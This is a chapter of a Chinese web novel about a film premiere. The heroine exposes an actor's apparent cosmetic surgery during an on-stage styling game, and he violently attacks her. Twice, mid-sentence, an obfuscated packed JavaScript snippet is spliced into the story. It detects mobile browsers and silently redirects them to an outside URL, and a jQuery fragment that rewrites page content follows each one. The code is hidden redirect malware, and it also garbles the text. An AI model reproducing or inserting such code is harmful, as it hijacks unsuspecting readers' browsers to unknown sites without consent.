呵呵,自视甚高、假装文艺的文艺工作者。李导完全符合她对文艺男中年的刻板印象。 李导好像认为,只有肮脏落后的下城才会诞生“欲望”。但寻夏从来不觉得有欲望是一件坏事,也不认为野心勃勃是一个贬义词。 有欲望的人得到一切,不争不抢的人失去一切,这是生活教会她的道理。 然而台上的主持人却对李导的大道理眼前一亮,他继续追问:“逆位游戏中的欲望与成长,相信大家都已经深有体会。我好奇的是,李导追求的美,和逆位游戏有什么关联呢?” 李导笑了。 “逆位游戏总是能吸引到不同背景、不同身份的年轻人们参与其中。”他手中转着话筒,眼神精准地落在台下第二排中央,塞巴斯蒂安的脸上,“我今天到现场,发现道格拉斯先生也参加了这场逆位游戏。以优雅闻名的‘月下贵族’道格拉斯,不就是美的最佳代表吗?” 寻夏震撼了,好一通俗不可耐又毫不掩饰的马屁!以她对塞巴斯蒂安的了解,他完全不吃这一套。 果然,塞巴斯蒂安微不可察地皱了皱眉,他觉得恶心,尤其是“月下贵族”这种矫揉造作的所谓美称。 但主持人的反应速度很快,李导话才说了一半,他就已经小跑着到了观众席之中,恭恭敬敬地把话筒举到塞巴斯蒂安的嘴边。 “道格拉斯先生,正如李导所说,您本身就是‘美’的化身。而电影的最后一句台词,是‘我这一生,都在寻找美’,不知道塞巴斯蒂安先生是怎么理解美的呢?” 两侧的媒体调转“枪口”,跃跃欲试,想拍又不敢拍。 礼堂中静了下来,数十道目光汇聚在塞巴斯蒂安身上。寻夏坐直了身体,拉蒙也醒了,此刻正翘着二郎腿歪头,看戏看得津津有味。 “啊啊啊!”栗娜小声尖叫,又问,“你说塞巴斯蒂安会答吗?” 寻夏想了想:“他应该会接过话筒。” 塞巴斯蒂安不喜欢被恭维,更不喜欢被利用,像这样成为话题工具,做影片宣传稿上的噱头。 可是有摄像机在,无论他们有没有开拍,他的姿态都必须无可挑剔,让人挑不出错处。 短暂的沉默过后,他还是主动拿起了主持人手中的话筒。 “谬赞了,愧不敢当。”他沉吟片刻,继续道,“不过这个问题,或许由影片男主角的饰演者来回答会更合适。毕竟他才是导演选中的,美的承载者和传递者。” 好一招祸水东引,但可惜,一个人被捧得越高,就越不敢丢开包袱往下跳。 寻夏轻轻叹了口气。 要是塞巴斯蒂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536341|186571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安敢在被恭维之后、在大庭广众之下丢掉姿态,向上次怒斥她一样怒斥李导一句“你很没有礼貌”,剧组这会儿就该灰溜溜地回家了。 栗娜听到“男主角”三个字,在一旁啧啧两声。寻夏手指在膝盖上敲了敲,目光转回到了主持人身上。 主持人愣了一瞬,但迅速顺着杆子往上爬,脸上堆满笑容,对着场地观众和媒体镜头,热情高声道:“既然如此——” “塞缪尔就在后台,让我们把他请出来好吗?” 在栗娜噗嗤的笑声中,舞台后方的幕布向上升起。所有人的目光,还有那些原本犹豫不决的媒体镜头,都对准了那位“新世界的最后一块璞玉”,塞缪尔·克罗。 他一头棕色卷毛蓬松地覆在额前,脸上点了雀斑,睫毛很长眼睛很亮。他穿卫衣牛仔裤,身上背着一个斜挎包,里面装了补水喷雾、尖尾梳、卷发棒等等造型用品,是影片开头亚历山大的打扮,少年感十足。 但寻夏一眼就看到了少年的鼻基底。 塞缪尔笑着和大家打招呼,鼻翼两侧的皮肉不是被“牵动”,而是被整块“架起”的,有种微妙的不自然感。 果然看真人,比看修过的照片、视频都要直观。 寻夏举着终端再看一眼,好像哪里还有差别——他的耳朵从正面看能露出半个,和之前照片里露出的一小截不同,疑似耳基底也动了。 她眯了眯眼睛。塞缪尔的情商一般,美商倒是不错,做的都是不动声色的项目,让一般人看不出来哪里有变化,只会觉得他状态变好了,又变帅了。 台上的塞缪尔接过导演递给他的话筒,抱着胸站定:“怎么理解美?我想想——” “影片里的亚历山大,一开始不懂设计,喜欢用夸张猎奇的作品博人眼球。但经过一些挫折,还有贵人的点拨,他的审美渐渐提高,明白了猎奇不等于‘设计感’,才能做出真正有美感的设计。” 寻夏试图从他的回答中提取关键信息,但努力听到最后,发现这根本就是一通毫无信息量的废话。 “不知道道格拉斯先生是否喜欢这个回答?”塞缪尔笑起来,自信满满地对台下散发魅力。 塞巴斯蒂安重新举起话筒:“我的专业是艺术史,虽然也与‘美’有关,但对设计领域的涉猎还是很有限。” 寻夏心里咯噔一下,指甲不自觉掐进了掌心。 “但据我所知,我们现场有一位寻夏小姐是设计专业出身,一起听听她的见解如何?”塞巴斯蒂安回头看向寻夏,向来冷淡的脸上竟然浮现出一个微笑。 笑得让寻夏毛骨悚然。 刹那间,四周其他参与者的目光、列阵两侧的镜头,连同李导略显疑虑的眼神,以及临渊终于抬起的双眸,全都聚焦在她一人身上。 寻夏屏住呼吸,她在短暂的安静中,无比清晰地听见了自己的心跳。 咚咚,咚咚,咚咚。 塞巴斯蒂安是真的想听自己的见解吗? ——还是仍然在怀疑,她的身份是假的? 15. 突变 主持人已经站在寻夏的身旁,话筒精准无误地怼到了她的嘴边。 临渊仍然坐在第一排没有动,也没有回头,只是不再随意靠在座椅上,而是绷直了后背。 一旁的栗娜满脸期待地看着她,兴奋又略带焦急地等待她的回答。 柏砚隔着几个座位,探身看过来,金丝眼镜后的双眼仔细审视着寻夏脸上的神色。 启明坐在寻夏后一排,旁观的冷眼中闪过一丝诧异。她知道寻夏是下城人,她们下城人,怎么可能去学什么闲情逸致的“设计专业”呢? 她很好奇寻夏会如何应对。 寻夏在四面八方的注视中缓缓起身,不紧不慢地捋了捋裙子,才伸手接过话筒。 “感谢道格拉斯先生的认可。”她报以一个波澜不惊的微笑,目光却越过塞巴斯蒂安,落在了台上的塞缪尔身上,“美是抽象的,但设计是具体的。” 至于设计具体是什么,她不知道,也不打算继续深入。她和塞巴斯蒂安不一样,她的脑袋里装的不是理论与主义,而是圈套和诡计。 寻夏轻盈地调转了话锋:“我很好奇,在塞缪尔老师看来,我们造型师、设计师存在的意义是什么?” “我接触过很多设计师,在影片中饰演的也是一位设计师。至于设计师存在的意义,我想想……”塞缪尔笑得灿烂又标准,“是让人变漂亮、变好看,能够收获更多人的喜爱吧。” 他上钩了。 寻夏几乎是紧接着发问:“您是认为,只有足够漂亮、好看,才值得被人喜爱吗?” 塞缪尔脸上的笑容僵硬了一瞬。他瞥了一眼身旁的李导,李导也隐隐听出了不对。台下的女人语气柔和,抛出的问题却是绵里藏针。 李导正想伸手要走塞缪尔手中的话筒,塞缪尔却自作主张地抢先开口了。 “漂亮的、好看的人,总是更容易被更多人喜欢的,不是吗?”他的语速不自觉加快了。 寻夏不点头,不摇头,也没有着急回答。她笑盈盈的眼神扫过塞缪尔的鼻基底,又扫过他的耳基底。 在旁人看来,寻夏只是扫了两眼塞缪尔的脸。但塞缪尔无比敏感,他分毫不差地捕捉到了寻夏在那两个位置刻意的停顿。 他握住话筒的手捏得更紧了。 “那么,”寻夏收回视线,直勾勾地盯住塞缪尔的双眼,“您会因为渴望被爱,而想要变得更漂亮、更好看吗?” 说者无意,听者尚且有心。而此刻说者有意,听者自然更是疑心重重。 塞缪尔的笑容在瞬间消失,不笑的时候,他略微下垂的眼睛看起来甚至有几分凶狠。 针头扎进皮肤的画面,史密斯夫人漠然垂眼看他的神情,不断交替着在他眼前闪动。 周围传来嗡嗡的低语,几乎是所有人都联想到了那个俱含褒贬的名号,“新世界的最后一块璞玉”。 栗娜听出寻夏的话里有话,又看到塞缪尔在霎那间变得难看的脸色,之前寻夏没来得及回答的那个问题,她现在好像得到答案了。 拉蒙睡醒了,冷不丁发出一声怪笑。 气氛陡然急转直下。李导不好直接去抢塞缪尔紧握的话筒,又害怕他一激动说出什么惊世骇俗的话,只好用力清清喉咙,拼命对台下的主持人使眼色。 主持人心中有预感,他的神级救场人生画面即将到来。他反应极快,几乎是飞扑着过去,从寻夏手中抽走了话筒。 “哈哈,大家的讨论真的都很有深度呢!”主持人满脸堆笑,环顾四周,“气氛如此热烈,不如我们就趁热打铁,进入接下来的互动环节吧!” 他没有停顿,向寻夏伸手:“让我们用热烈的掌声邀请寻夏小姐上台,与我们的主创团队进行一个近距离的互动,好不好?” “好。”在仍然稀稀拉拉的掌声中,寻夏回答。 她微笑欠身,跟着主持人上了台。众人目光的焦点还是她,但想必此刻还记得她是“设计专业出身”的人,已经不剩几个。 最能迅速转移他人注意力的内容,就是那些似是而非的八卦,比如塞缪尔的整容疑云。 她成功了。 寻夏穿过过道,从临渊身边经过。临渊动了动身子,紧绷的后背略略放松下来。 塞巴斯蒂安端正坐在座椅上,望向她的目光若有所思。 寻夏依照主持人的指引,在舞台中央站定。塞缪尔和李导一左一右将她夹在中间,她点头向二人致意,笑容无毒无害,仿佛刚才的暗流涌动只是他们的错觉。 主持人见她配合,暗暗松了口气,热情洋溢地开始介绍互动环节的内容。 “我们都知道,戏中主角亚历山大经历了从青涩到成熟的蜕变,无论是心境还是造型!”主持人手臂一挥,舞台两侧的工作人员推着移动衣架和梳妆台上场,“所以,在戏外,我们今天的互动游戏就是——打造‘时尚先生’!” 寻夏顺着他的动作看过去,衣架上挂满了风格各异、五花八门的服装,梳妆台上整齐码放着各种各样的大牌化妆品,称得上是琳琅满目。 “大家应该都发现了吧?塞缪尔老师目前的造型是初出茅庐的新人亚历山大,而寻夏小姐,您的任务就是,利用我们现场提供的服装和造型工具,为塞缪尔老师设计一套属于大师亚历山大的造型!” 原来所谓互动就是给塞缪尔做造型啊,这她擅长。 塞缪尔又重新扬起了标准的营业假笑,不过只是冲着台下,连半个眼神都没有分给寻夏。 寻夏先前紧绷的神经松懈下来,视线掠过身侧这位明明紧绷却要强装松弛的男顶流,她忽然升起了一点恶作剧的心思。 “我很乐意尝试,就是不知道能否让塞缪尔老师满意。” 塞缪尔主动在梳妆台前坐下,作出“请”的手势:“按你的想法来。”虽然是在和寻夏说话,但他仍然没有看她。 寻夏在心底轻笑一声,顺手把塞缪尔的座椅转到面朝台下的方向。然后走到梳妆台前,熟练地挑拣起来。 她率先拿起的,是一支修容笔:“塞缪尔老师,请闭眼。” 塞缪尔依言闭上眼,但微微上扬的唇角却有些僵硬。 寻夏在他眉骨与鼻骨连接的位置画了两个圆弧,一边用指腹拍开,一边解说:“后期的亚历山大褪去了稚嫩,骨骼感会更强,轮廓需要更鲜明一些。” 接着,她拿着笔在塞缪尔的鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536342|186571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翼两侧,也就是鼻基底的位置,精准地落下一左一右两条阴影线。 “随着年纪增长,气质沉淀下来,”她还是用指腹拍开,不过力道比刚刚重了不少,几乎是刻意地在按压这个有猫腻的部位,“会有一点自然的、彰显阅历的法令纹痕迹。” 主持人连连点头捧场。 塞缪尔倏地睁眼,与近在咫尺的寻夏对视,眼中戾色在瞬间浮现,又在下一秒被吞没。 寻夏神情无辜,恍若未觉。她放下修容笔,视线四下转了转,瞄准了塞缪尔背在身上的那只斜挎包。 她伸手,从斜挎包中抽出尖尾梳,还拿出了一盒发泥。 “蓬松的卷发学生气比较重,还会显得发质毛躁。作为大师的亚历山大需要换个发型。”寻夏说着,用梳子沾了发泥,将塞缪尔精心打理的卷发全部向后梳去,露出他完整的额头,还有完整的耳朵。 “背头的造型相对成熟,也更能凸显塞缪尔老师完美的骨相。”她故意加重了“完美”二字的咬字。 没了发型的修饰,塞缪尔特地调整过的耳朵支棱在面颊两侧,反而有些违和,像一对招风耳。 他嘴角的假笑都快要维持不住了。 眼眶凹陷、法令纹,还有凌厉的脸部线条!寻夏的每一个动作,都让他升起一阵强烈的屈辱,都在提醒着他,他有多厌恶这样的自己。 他不想要成熟,也不想要什么骨骼感、什么岁月的沉淀。他要饱满、稚嫩、年轻,他要永远年轻! 要像史密斯夫人十八岁时的初恋那样年轻。 塞缪尔的眼神彻底变了,但正在一旁低声交谈的主持人和李导没有看到,站在他身前的寻夏也没有看到。 寻夏两指夹着尖尾梳,回头对着台下伸长脖子看热闹的观众们笑道:“大家觉得呢?塞缪尔老师现在是不是很有才子精英的气质?” “嗯……都有点像那种专门针对富太太的高段位杀猪盘了呢。” “噗——”台下不知道是谁没忍住笑出了声。 富太太,富太太,富太太!塞缪尔额角的青筋不受控制地疯狂跳动。 ——史密斯夫人。 塞缪尔的脸涨得通红。他哐当顶开椅子,猛地站起来,死死攥住了寻夏握着梳子的右手。 寻夏只觉得手腕剧痛,一股大力拽着她的手调转方向,尖锐的金属梳尾正对着她的太阳穴狠狠扎去! “啊!”栗娜霍然起身,只来得及迸出一声尖锐的惊呼。 变故来的突然,一切不过电光火石之间。 寻夏的身体比大脑反应得更快,她努力想要松开手,让梳子自由落体,可塞缪尔的五指就像铁钳,攥着她的手不得动弹。 就在寒芒即将扎破她皮肤的刹那——砰! 炸响的破空声撕裂了礼堂的混乱。 一颗亮着白光的麻痹弹从枪口飞出,划过一道漂亮的弧线,利落地击中了塞缪尔的手腕。 子弹瞬间炸开,在他的腕间铺成一张洁白的网,将他的力道尽数卸去。 塞缪尔的手腕软软垂下,寻夏终于能够松开手指,尖尾梳当啷一声砸在地上。 她猛然转头,与台下那人对上了目光。